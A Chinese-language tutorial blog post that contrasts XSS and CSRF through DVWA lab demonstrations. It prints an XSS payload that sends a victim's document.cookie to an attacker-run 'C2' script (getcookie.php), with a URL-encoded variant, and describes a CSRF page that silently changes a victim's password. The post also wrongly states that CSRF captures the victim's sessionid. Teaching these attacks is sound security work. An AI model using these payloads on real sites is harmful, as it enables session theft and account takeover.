csrf与xss区别,详解二者不同攻击核心(图片示例过程)
CSRF(跨站请求伪造)和 XSS(跨站脚本攻击)是 Web 安全中两种常见的攻击方式,核心区别在于攻击原理和目标不同。
攻击原理
XSS(跨站脚本攻击)
利用网站对用户输入过滤不足的漏洞,向页面注入恶意脚本(如 JavaScript)。
当其他用户访问被注入的页面时,恶意脚本会在其浏览器中执行,从而窃取会话信息。
本质:注入<script>脚本恶意代码,让受害者浏览器执行该恶意代码。
本文以XSS能获取受害者cookie这一危害为示例,主要为了与后面的CSRF获取用户sessionid执行危险操作对比。
比如在XSS反射型页面写入恶意payload,然后把整个链接(http://...)想办法发给受害者,从而获取受害者cookie的目的。
getcookie.php是你提前在自己攻击机器上准备好的C2服务器脚本。
Payload如下:
12<script>location.href='http://127.0.0.1/getcookie.php?cookie='+document.cookie+'&url='+location.href</script>
由于+与&符号在url中要被截断,所以需要将+和&转码:
+变成%2B (不能使用%20(空格))
&变成%26
这样payload就变成了:
12<script>location.href='http://127.0.0.1/getcookie.php?cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href</script>



CSRF(跨站请求伪造)
诱导受害者在已登录目标网站的情况下(已经产生了sessionid),再访问攻击者构造的恶意页面,利用受害者的身份,以其名义向目标网站发送伪造请求(如转账、修改信息(密码)等)。
cookie-session机制中,sessionid是浏览器共享。在同一个浏览器下,所有的tag页面共享sessionid。
CSRF是利用服务器对用户的信任,实现攻击,因为不论是受害者自己登录dvwa的sessionid还是又点击了恶意链接被攻击者获取的sessionid均可通过服务器验证。
步骤1:
在c2服务器比如自己真实机phpstudy的根目录WWW下,构建一个针对dvwa的CSRF主页修改密码的恶意脚本。



注:这里是模拟受害者登录dvwa修改密码的过程,主要为了yakit抓包,抓到这个POC。所以密码可以再改为自己想要的密码,等受害者点击了这个链接,受害者的dvwa密码就会自动修改为你定义的“12345678”。



到这里,输入127.0.0.1/curl.php就能看到该submit,就准备好链接了。127.0.0.1更换为攻击者主机(安装了phpstudyC2服务器)的IP地址。
步骤2:
将该链接(curl.php的链接地址)url发送给受害者,只要受害者打开页面,他的dvwa密码就会更改。前提是他已经登陆了dvwa页面。
缺点:有明显的页面跳转,受害者可以发现数据修改的操作。
优点:无论get请求还是post请求都可以实现csrf。
本质:盗用受害者的身份,执行未授权操作,且不必注入恶意代码。
攻击目标
-
XSS:主要目标是窃取用户数据(如 Cookie、账号密码),或通过脚本控制用户浏览器(如跳转恶意网站(比如钓鱼网站))。
-
CSRF:主要目标是执行未授权操作(如发起转账、修改用户信息),是以受害者身份完成攻击者指定的行为。
总结:
CSRF:
是攻击者利用服务器对用户的信任,即只要sessionid正确,服务器就通过用户操作指令。
向用户即受害者发送恶意链接,或者诱导用户点击该恶意链接,来达到获取用户sessionid的目的。
从而可以使得攻击者以受害者身份继续访问该服务器,完成未授权行为的操作。
需要用户已登录目标网站,并保持着会话。
XSS:
是攻击者利用用户对服务器的信任,即只要用户(受害者)看到可信任的网站服务器,就没有其它隐患顾虑这一常理。
向用户发送编入了恶意payload的整个网站链接,诱导用户点击,达到窃取用户数据的目的。
不需要用户登录即可实施。
声明:该篇文章内容只用于学习交流,主要以攻击过程来讲清CSRF与XSS的本质区别。
下回我将继续为大家带来CSRF与XSS相关内容,以如何防御它们为主。
更多推荐

所有评论(0)